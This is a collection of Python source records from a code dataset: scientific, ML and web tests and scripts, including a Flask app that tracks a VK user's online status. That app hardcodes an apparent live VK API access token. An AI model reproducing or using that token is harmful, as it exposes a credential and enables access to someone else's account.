self.assertTrue(ham.input.incar[\"LWAVE\"])\n self.assertTrue(ham.input.incar[\"LCHARG\"])\n self.assertTrue(ham.input.incar[\"LVTOT\"])\n self.assertFalse(ham.input.incar[\"LDIPOL\"])\n self.assertFalse(ham.input.incar[\"LVHAR\"])\n self.assertFalse(ham.input.incar[\"LORBIT\"])\n self.assertTrue(ham.input.incar[\"LCORE\"])\n self.assertFalse(ham.input.incar[\"LTEST\"])\n self.assertEqual(ham.input.incar[\"POTIM\"], 0.5)\n\n def test_output(self):\n ham = self.project.inspect(\"full_job_sample\")\n self.assertEqual(ham[\"output/generic/dft/energy_free\"][-1], -17.7379867884)\n self.assertIsInstance(ham[\"output/charge_density\"].to_object(), VaspVolumetricData)\n with ham.project_hdf5.open(\"output/generic\") as h_gen:\n for node in h_gen.list_nodes():\n if h_gen[node] is not None:\n self.assertIsInstance(h_gen[node], np.ndarray,\n f\"output/generic/{node} is not stored as a numpy array\")\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"tests/vasp/test_vasp_import.py","file_name":"test_vasp_import.py","file_ext":"py","file_size_in_byte":5267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"299214656","text":"import cntk as C\nimport numpy as np\nimport sentencepiece as spm\n\nnum_word = 32000\n\nUNK = 0\nBOS = 1\nEOS = 2\n\nMAX = 70\n\nspm_path = \"./twitter.model\"\n\n\nclass SentencePiece:\n def __init__(self, spm_path):\n self.model = spm.SentencePieceProcessor()\n self.model.Load(spm_path)\n\n def encode(self, string):\n return self.model.EncodeAsIds(string)\n\n def decode(self, ids):\n return self.model.DecodeIds(ids)\n\n\nif __name__ == \"__main__\":\n #\n # sentence piece\n #\n spm_model = SentencePiece(spm_path)\n\n model = C.load_model(\"./stsa.model\")\n\n #\n # chat bot application\n #\n while True:\n query = input(\">\")\n if query == \"quit\":\n break\n query = spm_model.encode(query)\n\n query = np.identity(num_word, dtype=\"float32\")[query]\n reply = np.identity(num_word, dtype=\"float32\")[BOS].reshape(1, -1)\n dummy = np.identity(num_word, dtype=\"float32\")[EOS].reshape(1, -1)\n\n for _ in range(MAX):\n prob = model.eval({model.arguments[0]: query, model.arguments[1]: np.vstack((reply, dummy))})[0]\n pred = np.identity(num_word, dtype=\"float32\")[prob.argmax(axis=1)[-1]].reshape(1, -1)\n reply = np.concatenate((reply, pred), axis=0)\n if prob.argmax(axis=1)[-1] == EOS:\n break\n\n response = spm_model.decode([int(i) for i in reply.argmax(axis=1)])\n\n print(\">>\", response)\n \n","sub_path":"STSA/stsa_chatbot.py","file_name":"stsa_chatbot.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"182466287","text":"import os\nimport json\nimport numpy as np\n\nPATH = os.path.realpath(\"./data\")\nprint(\"TS-Data path: {}\".format(PATH))\n\ndef data_info(name):\n \"\"\"\n Returns JSON containing dataset information\n \"\"\"\n dirname = os.path.join(PATH, name)\n with open(os.path.join(dirname, \"meta\"))as f:\n info = json.load(f)\n return info\n\ndef load_data(name, variables_as_channels=False):\n \"\"\"\n Required arguments:\n name: Name of the dataset to load. Get the valid names from py_ts_data.list_datasets()\n\n Optional arguments:\n variables_as_channels (default False). If true, instead of shape = (x,y,z), the shape\n is given as (x,z,y).\n\n Returns tuple with 5 elements: X_train, y_train, X_test, y_train, info\n\n X_train and X_test return numpy arrays with shape: (x, y, z) where:\n x = number of timeseries in the dataset\n y = number of variables in each time series\n z = length of each series.\n\n If the dataset has variable lenght series, z = length of the longest series. Shorter\n series are filled with np.nan\n\n \"\"\"\n\n info = data_info(name)\n train_file = os.path.join(PATH, name, \"train\")\n test_file = os.path.join(PATH, name, \"test\")\n\n X_train, y_train = parse_file(train_file, info)\n X_test, y_test = parse_file(test_file, info)\n\n if variables_as_channels:\n X_train = X_train.transpose(0, 2, 1)\n X_test = X_test.transpose(0, 2, 1)\n\n return X_train, y_train, X_test, y_test, info\n\ndef list_datasets():\n \"\"\"\n Returns list of datasets available from py_ts_data.PATH\n \"\"\"\n return os.listdir(PATH)\n\ndef parse_line(line):\n parts = line.rstrip().split(\":\")\n data = parts[0]\n label = parts[1]\n\n variables = data.split(\";\")\n ts = []\n for var in variables:\n ts.append([float(x) for x in var.split(\" \")])\n return np.array(ts), label\n\n\ndef parse_variable_length_file(filepath, info):\n data = []\n labels = []\n max_len = float('-inf')\n nvars = info[\"n_variables\"]\n with open(filepath) as f:\n for line in f:\n ts, label = parse_line(line)\n labels.append(label)\n assert nvars == ts.shape[0]\n if ts.shape[1] > max_len:\n max_len = ts.shape[1]\n data.append(ts)\n\n final_dataset = []\n for ts in data:\n final = np.empty((nvars, max_len))\n final[:] = np.nan\n final[:ts.shape[0], :ts.shape[1]] = ts\n final_dataset.append(final)\n\n return np.array(final_dataset), np.array(labels)\n\ndef parse_fixed_length_file(filepath, info):\n data = []\n labels = []\n nvars = info[\"n_variables\"]\n with open(filepath) as f:\n for line in f:\n ts, label = parse_line(line)\n assert nvars == ts.shape[0]\n data.append(ts)\n labels.append(label)\n return np.array(data), np.array(labels)\n\ndef parse_file(filepath, info):\n data = []\n labels = []\n max_len = float('-inf')\n nvars = info[\"n_variables\"]\n with open(filepath) as f:\n for line in f:\n ts, label = parse_line(line)\n labels.append(label)\n assert nvars == ts.shape[0]\n if ts.shape[1] > max_len:\n max_len = ts.shape[1]\n data.append(ts)\n\n final_dataset = data\n if info[\"n_timestamps\"] == -1:\n final_dataset = []\n for ts in data:\n final = np.empty((nvars, max_len))\n final[:] = np.nan\n final[:ts.shape[0], :ts.shape[1]] = ts\n final_dataset.append(final)\n \n return np.array(data), np.array(labels)\n\n\n","sub_path":"py_ts_data/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"650243080","text":"import io\nfrom codecs import BOM_UTF8\nfrom datetime import datetime\nfrom os.path import splitext\nfrom unittest.mock import Mock\n\nimport factory\nimport pytest\nfrom django.contrib import messages as django_messages\nfrom django.contrib.admin.templatetags.admin_urls import admin_urlname\nfrom django.test import Client\nfrom django.urls import reverse\nfrom django.utils.timezone import utc\nfrom freezegun import freeze_time\nfrom rest_framework import status\nfrom reversion.models import Version\n\nfrom datahub.company.models import Contact, ContactPermission\nfrom datahub.company.test.factories import ContactFactory\nfrom datahub.core.test_utils import AdminTestMixin, create_test_user\n\npytestmark = pytest.mark.django_db\n\n\nclass TestContactAdminChangeList(AdminTestMixin):\n \"\"\"Tests for the contact admin change list.\"\"\"\n\n def test_load_opt_outs_link_exists(self):\n \"\"\"\n Test that there is a link to load email marketing opt outs on the contact change list page.\n \"\"\"\n change_list_url = reverse(admin_urlname(Contact._meta, 'changelist'))\n response = self.client.get(change_list_url)\n assert response.status_code == status.HTTP_200_OK\n\n load_opt_outs_url = reverse(\n admin_urlname(Contact._meta, 'load-email-marketing-opt-outs'),\n )\n assert load_opt_outs_url in response.rendered_content\n\n def test_load_opt_outs_link_does_not_exist_if_only_has_view_permission(self):\n \"\"\"\n Test that there is not a link to load email marketing opt outs if the user only has view\n (but not change) permission for contacts.\n \"\"\"\n change_list_url = reverse(admin_urlname(Contact._meta, 'changelist'))\n user = create_test_user(\n permission_codenames=(ContactPermission.view_contact,),\n is_staff=True,\n password=self.PASSWORD,\n )\n\n client = self.create_client(user=user)\n response = client.get(change_list_url)\n assert response.status_code == status.HTTP_200_OK\n\n load_opt_outs_url = reverse(\n admin_urlname(Contact._meta, 'load-email-marketing-opt-outs'),\n )\n assert f'Select {Contact._meta.verbose_name} to view' in response.rendered_content\n assert load_opt_outs_url not in response.rendered_content\n\n\nclass TestContactAdminOptOutForm(AdminTestMixin):\n \"\"\"Tests for the contact admin load email marketing opt outs form.\"\"\"\n\n def test_redirects_to_login_page_if_not_logged_in(self):\n \"\"\"Test that the view redirects to the login page if the user isn't authenticated.\"\"\"\n url = reverse(\n admin_urlname(Contact._meta, 'load-email-marketing-opt-outs'),\n )\n client = Client()\n response = client.get(url, follow=True)\n\n assert response.status_code == status.HTTP_200_OK\n assert len(response.redirect_chain) == 1\n assert response.redirect_chain[0][0] == self.login_url_with_redirect(url)\n\n def test_redirects_to_login_page_if_not_staff(self):\n \"\"\"Test that the view redirects to the login page if the user isn't a member of staff.\"\"\"\n url = reverse(\n admin_urlname(Contact._meta, 'load-email-marketing-opt-outs'),\n )\n user = create_test_user(is_staff=False, password=self.PASSWORD)\n\n client = self.create_client(user=user)\n response = client.get(url, follow=True)\n\n assert response.status_code == status.HTTP_200_OK\n assert len(response.redirect_chain) == 1\n assert response.redirect_chain[0][0] == self.login_url_with_redirect(url)\n\n def test_permission_denied_if_staff_and_without_change_permission(self):\n \"\"\"\n Test that the view returns a 403 response if the staff user does not have the\n change contact permission.\n \"\"\"\n url = reverse(\n admin_urlname(Contact._meta, 'load-email-marketing-opt-outs'),\n )\n user = create_test_user(\n permission_codenames=(ContactPermission.view_contact,),\n is_staff=True,\n password=self.PASSWORD,\n )\n\n client = self.create_client(user=user)\n response = client.get(url)\n assert response.status_code == status.HTTP_403_FORBIDDEN\n\n @pytest.mark.parametrize('filename', ('noext', 'file.blah', 'test.test', 'test.csv.docx'))\n def test_does_not_allow_invalid_file_extensions(self, filename):\n \"\"\"Test that the form rejects various invalid file extensions.\"\"\"\n file = io.BytesIO(b'test')\n file.name = filename\n\n url = reverse(\n admin_urlname(Contact._meta, 'load-email-marketing-opt-outs'),\n )\n response = self.client.post(\n url,\n data={\n 'email_list': file,\n },\n )\n\n assert response.status_code == status.HTTP_200_OK\n\n form = response.context['form']\n _, ext = splitext(filename)\n\n assert 'email_list' in form.errors\n assert form.errors['email_list'] == [\n f\"File extension '{ext[1:]}' is not allowed. Allowed extensions are: 'csv'.\",\n ]\n\n def test_does_not_allow_file_without_email_column(self):\n \"\"\"Test that the form rejects a CSV file that doesn't contain an email column.\"\"\"\n file = io.BytesIO(b'test\\r\\nrow')\n file.name = 'test.csv'\n\n url = reverse(\n admin_urlname(Contact._meta, 'load-email-marketing-opt-outs'),\n )\n response = self.client.post(\n url,\n data={\n 'email_list': file,\n },\n )\n\n assert response.status_code == status.HTTP_200_OK\n\n form = response.context['form']\n\n assert 'email_list' in form.errors\n assert form.errors['email_list'] == ['This file does not contain an email column.']\n\n def test_does_not_allow_file_with_bad_utf8_in_header(self):\n \"\"\"Test that the form rejects a CSV file with invalid UTF-8 in its header.\"\"\"\n file = io.BytesIO(\n b''.join((BOM_UTF8, b'test\\xc3\\x28\\r\\nrow')),\n )\n file.name = 'test.csv'\n\n url = reverse(\n admin_urlname(Contact._meta, 'load-email-marketing-opt-outs'),\n )\n response = self.client.post(\n url,\n data={\n 'email_list': file,\n },\n )\n\n assert response.status_code == status.HTTP_200_OK\n\n form = response.context['form']\n\n assert 'email_list' in form.errors\n assert form.errors['email_list'] == ['There was an error decoding the file contents.']\n\n def test_does_not_allow_file_with_bad_utf8_after_header(self, monkeypatch):\n \"\"\"\n Test that the form rejects a CSV file with invalid UTF-8 after its header.\n\n As reading and decoding happens in chunks, we patch the the function to validate the\n columns in the form because it can decode text that is close to the header.\n\n (That means in reality, this check will only be triggered for invalid Unicode sequences\n that are relatively deep in the file.)\n \"\"\"\n monkeypatch.setattr(\n 'datahub.company.admin.contact.LoadEmailMarketingOptOutsForm._validate_columns',\n Mock(),\n )\n\n creation_time = datetime(2011, 2, 1, 14, 0, 10, tzinfo=utc)\n with freeze_time(creation_time):\n contact = ContactFactory(\n email='test1@datahub',\n accepts_dit_email_marketing=True,\n )\n csv_body = b\"\"\"\"email\\r\ntest1@datahub\\r\n\\xc3\\x28\n\"\"\"\n file = io.BytesIO(\n b''.join((BOM_UTF8, csv_body)),\n )\n file.name = 'test.csv'\n\n url = reverse(\n admin_urlname(Contact._meta, 'load-email-marketing-opt-outs'),\n )\n with freeze_time('2014-05-03 19:00:16'):\n response = self.client.post(\n url,\n data={\n 'email_list': file,\n },\n )\n\n assert response.status_code == status.HTTP_200_OK\n\n messages = list(response.context['messages'])\n assert len(messages) == 1\n assert messages[0].level == django_messages.ERROR\n assert messages[0].message == (\n 'There was an error decoding the text in the file provided. No records have been '\n 'modified.'\n )\n\n # Changes should have been rolled back\n contact.refresh_from_db()\n assert contact.accepts_dit_email_marketing is True\n assert contact.modified_on == creation_time\n\n @pytest.mark.parametrize('encoding', ('utf-8', 'utf-8-sig'))\n def test_opts_out_contacts(self, encoding):\n \"\"\"\n Test that accepts_dit_email_marketing is updated for the contacts specified in the CSV\n file.\n \"\"\"\n filename = 'filea.csv'\n emails = [\n 'test1@datahub',\n 'test1@datahub',\n 'test2@datahub',\n 'test2@datahub',\n 'test3@datahub',\n 'test4@datahub',\n ]\n marketing_status = [True, True, True, False, True, True]\n creation_time = datetime(2011, 2, 1, 14, 0, 10, tzinfo=utc)\n with freeze_time(creation_time):\n contacts = ContactFactory.create_batch(\n len(emails),\n email=factory.Iterator(emails),\n accepts_dit_email_marketing=factory.Iterator(marketing_status),\n modified_by=None,\n )\n\n file = io.BytesIO(\"\"\"email\\r\ntest1@datahub\\r\nTEST2@datahub\\r\ntest6@datahub\\r\n\"\"\".encode(encoding=encoding))\n file.name = filename\n\n url = reverse(\n admin_urlname(Contact._meta, 'load-email-marketing-opt-outs'),\n )\n\n post_time = datetime(2014, 5, 3, 19, 0, 16, tzinfo=utc)\n with freeze_time(post_time):\n response = self.client.post(\n url,\n follow=True,\n data={\n 'email_list': file,\n },\n )\n\n assert response.status_code == status.HTTP_200_OK\n assert len(response.redirect_chain) == 1\n change_list_url = reverse(admin_urlname(Contact._meta, 'changelist'))\n assert response.redirect_chain[0][0] == change_list_url\n\n for contact in contacts:\n contact.refresh_from_db()\n\n assert [contact.accepts_dit_email_marketing for contact in contacts] == [\n False, False, False, False, True, True,\n ]\n assert [contact.modified_on for contact in contacts] == [\n post_time, post_time, post_time, creation_time, creation_time, creation_time,\n ]\n assert [contact.modified_by for contact in contacts] == [\n self.user, self.user, self.user, None, None, None,\n ]\n\n messages = list(response.context['messages'])\n assert len(messages) == 2\n assert messages[0].level == django_messages.SUCCESS\n assert messages[0].message == (\n '3 contacts opted out of marketing emails and 1 contacts already opted out'\n )\n assert messages[1].level == django_messages.WARNING\n assert messages[1].message == '1 email addresses did not match a contact'\n\n def test_updates_audit_log(self):\n \"\"\"Test that audit log entries are created for modified contacts.\"\"\"\n creation_time = datetime(2011, 2, 1, 14, 0, 10, tzinfo=utc)\n with freeze_time(creation_time):\n contact_with_change = ContactFactory(\n email='test1@datahub',\n accepts_dit_email_marketing=True,\n )\n contact_without_change = ContactFactory(\n email='test2@datahub',\n accepts_dit_email_marketing=True,\n )\n contact_already_opted_out = ContactFactory(\n email='test1@datahub',\n accepts_dit_email_marketing=False,\n )\n\n file = io.BytesIO(\"\"\"email\\r\ntest1@datahub\\r\n\"\"\".encode())\n file.name = 'test.csv'\n\n url = reverse(\n admin_urlname(Contact._meta, 'load-email-marketing-opt-outs'),\n )\n\n post_time = datetime(2014, 5, 3, 19, 0, 16, tzinfo=utc)\n with freeze_time(post_time):\n response = self.client.post(\n url,\n follow=True,\n data={\n 'email_list': file,\n },\n )\n\n assert response.status_code == status.HTTP_200_OK\n assert len(response.redirect_chain) == 1\n change_list_url = reverse(admin_urlname(Contact._meta, 'changelist'))\n assert response.redirect_chain[0][0] == change_list_url\n\n versions = Version.objects.get_for_object(contact_with_change)\n assert versions.count() == 1\n assert versions[0].revision.get_comment() == 'Loaded bulk email opt-out list.'\n\n versions = Version.objects.get_for_object(contact_without_change)\n assert versions.count() == 0\n\n versions = Version.objects.get_for_object(contact_already_opted_out)\n assert versions.count() == 0\n","sub_path":"datahub/company/test/admin/test_contact.py","file_name":"test_contact.py","file_ext":"py","file_size_in_byte":13057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"70284694","text":"#\n# Author: wengqiang (email: wens.wq@gmail.com site: qiangweng.site)\n# \n# Copyright © 2015--2019 . All rights reserved.\n#\n# File: api_rpc.py, Date: 2019-03-01\n# \n#\n# This library is free software under the terms of the GNU General Public License \n# as published by the Free Software Foundation; either version 3 of the License, \n# or (at your option) any later version.\n#\n# \n\n#!/usr/bin/env python\n# coding=utf-8\n\n\nimport requests\n\n# main net url\n# http://mainnet.eoscanada.com\n#\n# jungle test net url\n# http://jungle.cryptolions.io:80\n\n# url = \"http://mainnet.eoscanada.com/v1/chain/get_block\"\nurl = \"http://mainnet.eoscanada.com/v1/history/get_actions\"\n# url = \"http://jungle2.cryptolions.io:80/v1/chain/get_block\"\n# headers = {'content-type': 'application/x-www-form-urlencoded; charset=UTF-8'}\n# postdata = '{\"block_num_or_id\": 1234}'\npostdata = '{\"account_name\": mayakui12345}'\nresponse = requests.post(url, data=postdata)\n\nprint(response.text)\n\n","sub_path":"project/learn_python/job/eos/api_rpc.py","file_name":"api_rpc.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"167898012","text":"from flask import Flask\r\nimport json\r\nimport requests\r\nimport matplotlib\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport time\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route(\"/\")\r\n\r\ndef index():\r\n return '''\r\n \r\n \r\n График активности пользователя dubroveva\r\n \r\n \r\n

\r\n \r\n \r\n '''\r\n\r\ndef new_data(hour, was_online, was_offline):\r\n response = requests.get(\"https://api.vk.com/method/users.get?user_ids=dubroveva&fields=online&access_token=058cf559058cf559058cf5593405e7ec9a0058c058cf559588dbecd692b2f082027373e&v=5.95/\")\r\n info = response.json()\r\n status = info[\"response\"][0][\"online\"] \r\n if status: was_online[hour] += 1\r\n else: was_offline[hour] += 1\r\n\r\ndef new_chart(was_online, was_offline):\r\n\r\n ind = np.arange(len(was_online)) \r\n width = 0.35 \r\n\r\n fig, ax = plt.subplots()\r\n rects1 = ax.bar(ind - width/2, was_online, width, \r\n label='Online')\r\n rects2 = ax.bar(ind + width/2, was_offline, width, \r\n label='Offline')\r\n\r\n ax.set_ylabel('Status')\r\n ax.set_title('My activity in VK')\r\n ax.set_xticks(ind)\r\n hours = tuple(map(lambda x: \"h\"+str(x), list(range(1, x+1))))\r\n ax.set_xticklabels(hours)\r\n ax.legend()\r\n\r\n def autolabel(rects, xpos='center'):\r\n\r\n ha = {'center': 'center', 'right': 'left', 'left': 'right'}\r\n offset = {'center': 0, 'right': 1, 'left': -1}\r\n\r\n for rect in rects:\r\n height = rect.get_height()\r\n ax.annotate('{}'.format(height),\r\n xy=(rect.get_x() + rect.get_width() / 2, height),\r\n xytext=(offset[xpos]*3, 3), \r\n textcoords=\"offset points\", \r\n ha=ha[xpos], va='bottom')\r\n\r\n autolabel(rects1, \"left\")\r\n autolabel(rects2, \"right\")\r\n\r\n fig.tight_layout()\r\n plt.savefig('static\\My_activity_in_VK.png')\r\n\r\n\r\nx = 5\r\ny = 5\r\nhour = 0\r\nwas_online = [0]*x\r\nwas_offline = [0]*x\r\n\r\nfor i in range(1, x*y+1):\r\n if hour >= x:\r\n break\r\n new_data(hour, was_online, was_offline)\r\n time.sleep(60//y*60)\r\n if not (i%x):\r\n hour += 1\r\n\r\nnew_chart(was_online, was_offline)\r\n\r\napp.run(debug=True)\r\n","sub_path":"FinalProject.py","file_name":"FinalProject.py","file_ext":"py","file_size_in_byte":2382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"307466712","text":"import numpy as np\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\nfrom tensorflow.examples.tutorials.mnist import input_data\n\n\n# w = tf.Variable([[0.5,1.0]])\n# x = tf.Variable([[2.0],[1.0]])\n# y = tf.matmul(w,x)\n# with tf.Session() as sess:\n# sess.run(tf.global_variables_initializer())\n# print(y.eval())\n\n# num = 1000\n# x_data = []\n# y_data = []\n# for i in range(num):\n# x1 = np.random.normal(0.0,1.0)\n# y1 = x1*0.1 + 0.3 + np.random.normal(0.0,0.03)\n# x_data.append(x1)\n# y_data.append(y1)\n# plt.scatter(x_data,y_data,c='r')\n# plt.show()\n#\n#\n# w = tf.Variable(tf.random_uniform([1],-1.0,1.0),name=\"w\")\n# b = tf.Variable(tf.zeros([1]),name=\"b\")\n# y = w*x_data + b\n# loss = tf.reduce_mean(tf.square(y-y_data),name=\"loss\")\n# optimizer = tf.train.GradientDescentOptimizer(0.5)\n# train = optimizer.minimize(loss, name=\"train\")\n# session = tf.Session()\n# session.run(tf.global_variables_initializer())\n# print(\"w=\",session.run(w),\" b=\",session.run(b),\" loss=\",session.run(loss))\n# for step in range(20):\n# session.run(train)\n# print(\"w=\", session.run(w), \" b=\", session.run(b), \" loss=\", session.run(loss))\n\nmnist = input_data.read_data_sets(\"/home/qiangde/qiangde/data\",one_hot=True)\n# trainimg = mnist.train.images\n# trainlabel = mnist.train.labels\n# testimg = mnist.test.images\n# testlabel = mnist.test.labels\n# nsample = 5\n# random_index = np.random.randint(testimg.shape[0],size=nsample)\n# for i in random_index:\n# current_img = np.reshape(trainimg[i,:],(28,28))\n# current_label = np.argmax(trainlabel[i,:])\n# plt.matshow(current_img,cmap=plt.get_cmap('gray'))\n# plt.title(\"\"+str(i)+\"th Training Data, \"+\"Label is \"+str(current_label))\n# plt.show()\n\nx = tf.placeholder(\"float\",[None,784])\ny = tf.placeholder(\"float\",[None,10])\nw = tf.Variable(tf.zeros([784,10]))\nb = tf.Variable(tf.zeros([10]))\nmodel = tf.nn.softmax(tf.matmul(x,w)+b)\ncost = tf.reduce_mean(-tf.reduce_sum(y*tf.log(model),reduction_indices=1))\nlearning_rate = 0.01\noptm = tf.train.GradientDescentOptimizer(learning_rate).minimize(cost)\npred = tf.equal(tf.argmax(model,1), tf.argmax(y,1))\naccurate = tf.reduce_mean(tf.cast(pred,\"float\"))\ninit = tf.global_variables_initializer()\n\ntraining_epochs = 50\nbatch_size = 100\ndisplay_step = 5\n\nsession = tf.Session()\nsession.run(init)\nfor epoch in range(training_epochs):\n num_batch = int(mnist.train.num_examples/batch_size)\n feed = None\n for i in range(num_batch):\n batch_x, batch_y = mnist.train.next_batch(batch_size)\n feed = {x:batch_x,y:batch_y}\n session.run(optm,feed_dict=feed)\n if epoch % display_step == 0:\n feed_test = {x:mnist.test.images,y:mnist.test.labels}\n train_acc = session.run(accurate,feed_dict=feed)\n test_acc = session.run(accurate,feed_dict=feed_test)\n print(\"Epoch \",epoch,\" train_acc:\",train_acc,\" test_acc:\",test_acc)\nprint('Done')","sub_path":"tensorflow_test.py","file_name":"tensorflow_test.py","file_ext":"py","file_size_in_byte":2884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"463925335","text":"# -*- coding: utf-8 -*-\n\nclass TableProperty:\n fields = []\n fieldsProp = []\n # имена полей в primaryKey\n primaryKey = []\n name = u\"\"\n def __str__(self):\n result = u\"\"\n if len(self.fields) > 0:\n result = u\"CREATE TABLE \" + self.name + u\" (\"\n result += u\", \".join(self.fields)\n if len(self.primaryKey) > 0:\n result += u\",\"\n result += u\"PRIMARY KEY( \" + u\",\".join(self.primaryKey) + \")\"\n result += \")\" \n result = result.replace('boolean DEFAULT 0', 'boolean DEFAULT false')\n result = result.replace('boolean DEFAULT 1', 'boolean DEFAULT true')\n #result = result.replace('smallint', 'boolean')\n return result\n","sub_path":"TableProperty.py","file_name":"TableProperty.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"137305358","text":"#!/usr/bin/env python\n'''\n\tThis script updates dataset_marker.marker_idx column in case it wasn't populated in initial load.\n\tBut note that, ideally, that column should be populated via IFL on initial load. So this script\n\tshould not really be used on production systems. This was written for the purpose of fixing the test\n\tdata which was loaded before such columns existed.\n\n\t@author kdp44 Kevin Palis\n'''\nfrom __future__ import print_function\nimport sys\nimport csv\nimport traceback\nfrom db.update_h5i_manager import UpdateH5iManager\nfrom util.ifl_utility import IFLUtility\n\ndef main(isVerbose, connectionStr, iFile, datasetId):\n\n\tupdateH5iMgr = UpdateH5iManager(connectionStr)\n\tidx = 0\n\ttry:\n\t\twith open(iFile, 'r') as f1:\n\t\t\treader = csv.reader(f1, delimiter='\\t')\n\t\t\treader.next()\n\t\t\tfor marker_id, marker_name, platform_id in reader:\n\t\t\t\t#if IS_VERBOSE:\n\t\t\t\t#\tprint(\"Updating: %s\" % marker_name)\n\t\t\t\tupdateH5iMgr.updateDatasetMarkerH5Index(datasetId, marker_id, idx)\n\t\t\t\tidx += 1\n\t\t\tupdateH5iMgr.commitTransaction()\n\t\t\tupdateH5iMgr.closeConnection()\n\t\t\tprint(\"Updated HDF5 marker indices successfully.\")\n\t\tf1.close()\n\texcept Exception as e:\n\t\tIFLUtility.printError('Failed to load %s. Error: %s' % (iFile, str(e)))\n\t\tupdateH5iMgr.rollbackTransaction()\n\t\ttraceback.print_exc(file=sys.stderr)\n\nif __name__ == \"__main__\":\n\tif len(sys.argv) < 4:\n\t\tprint(\"Please supply the parameters. \\nUsage: update_marker_idx \")\n\t\tsys.exit()\n\tconnectionStr = str(sys.argv[1])\n\tiFile = str(sys.argv[2])\n\t#dupMappingFile = str(sys.argv[2])\n\tdatasetId = str(sys.argv[3])\n\tmain(True, connectionStr, iFile, datasetId)\n","sub_path":"data-warehouse-postgresql/gobii_ifl/gobii_ifl/update_marker_idx.py","file_name":"update_marker_idx.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"380060274","text":"import unittest\n\nfrom pages.base_page import BasePage\nfrom pages.dashboard_page import DashboardPage\nfrom pages.home_page import HomePage\nfrom pages.register_page import RegisterPage\nfrom selenium import webdriver\n\n\nclass Register(unittest.TestCase):\n def setUp(self):\n self.driver = webdriver.Chrome()\n self.register = RegisterPage(self.driver)\n self.homepage = HomePage(self.driver)\n self.dashboard = DashboardPage(self.driver)\n\n def test_register(self):\n self.driver.get('https://stage.edx.org/')\n self.assertTrue(self.homepage.is_browser_on_the_page())\n self.homepage.click_register()\n self.assertTrue(self.register.is_browser_on_the_page())\n self.register.fill_form()\n self.register.submit_form()\n self.assertTrue(self.dashboard.go_to_courses_page())\n\n def tearDown(self):\n self.driver.close()\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"Assignment_4/test_register.py","file_name":"test_register.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"626092949","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib import style\nfrom sklearn import preprocessing\nimport pandas as pd\n\nstyle.use('ggplot')\n\ncolors = 10 * [\"g\", \"r\", \"c\", \"b\", \"k\"]\n\n\nclass K_Means:\n def __init__(self, k=2, tol=0.001, max_iter=300):\n self._k = k\n self._tol = tol\n self._max_iter = max_iter\n\n def fit(self, data):\n self._centroids = {}\n\n for i in range(self._k):\n self._centroids[i] = data[i]\n\n for i in range(self._max_iter):\n self._classifications = {}\n for i in range(self._k):\n self._classifications[i] = []\n for featureset in data:\n distances = [np.linalg.norm(featureset\n - self._centroids[centroid])\n for centroid in self._centroids]\n classification = distances.index(min(distances))\n self._classifications[classification].append(featureset)\n\n prev_centroids = dict(self._centroids)\n for classification in self._classifications:\n self._centroids[classification] \\\n = np.average(self._classifications[classification], axis=0)\n optimized = True\n for c in self._centroids:\n original_centroid = prev_centroids[c]\n current_centroid = self._centroids[c]\n if np.sum((current_centroid - original_centroid)\n / original_centroid * 100.0) > self._tol:\n optimized = False\n break\n if optimized:\n break\n\n def predict(self, data):\n distances = [np.linalg.norm(data\n - self._centroids[centroid])\n for centroid in self._centroids]\n classification = distances.index(min(distances))\n return classification\n\ndf = pd.read_excel('titanic.xls')\n#print(df.head())\ndf.drop(['body', 'name'], 1, inplace=True)\ndf.convert_objects(convert_numeric=True)\ndf.fillna(0, inplace=True)\n\ndef handle_non_numerical_data(df):\n columns = df.columns.values\n for column in columns:\n text_digit_values = {}\n def convert_to_int(val):\n return text_digit_values[val]\n if df[column].dtype != np.int64 and df[column].dtype != np.float64:\n column_contents = df[column].values.tolist()\n unique_elements = set(column_contents)\n x = 0\n for unique in unique_elements:\n if unique not in text_digit_values:\n text_digit_values[unique] = x\n x += 1\n df[column] = list(map(convert_to_int, df[column]))\n return df\ndf = handle_non_numerical_data(df)\n\ndf.drop(['boat'], 1, inplace=True)\n\nX = np.array(df.drop(['survived'], 1).astype(float))\nX = preprocessing.scale(X)\ny = np.array(df['survived'])\n\n\nclf = K_Means()\nclf.fit(X)\ncentroids = clf._centroids\n\n\ncorrect = 0\nfor i in range(len(X)):\n predict_me = np.array(X[i].astype(float))\n predict_me = predict_me.reshape(-1, len(predict_me))\n prediction = clf.predict(predict_me)\n if prediction == y[i]:\n correct += 1\n\ncorrect_rate = correct / len(X)\nif correct_rate < 0.5:\n correct_rate = 1 - correct_rate\nprint(correct_rate * 100)\n","sub_path":"kmeans_scratch.py","file_name":"kmeans_scratch.py","file_ext":"py","file_size_in_byte":3347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"285107964","text":"r\"\"\"\r\nThis model calculates an empirical functional form for SAS data using\r\nSpericalSLD profile\r\n\r\nSimilarly to the OnionExpShellModel, this model provides the form factor,\r\nP(q), for a multi-shell sphere, where the interface between the each neighboring\r\nshells can be described by one of a number of functions including 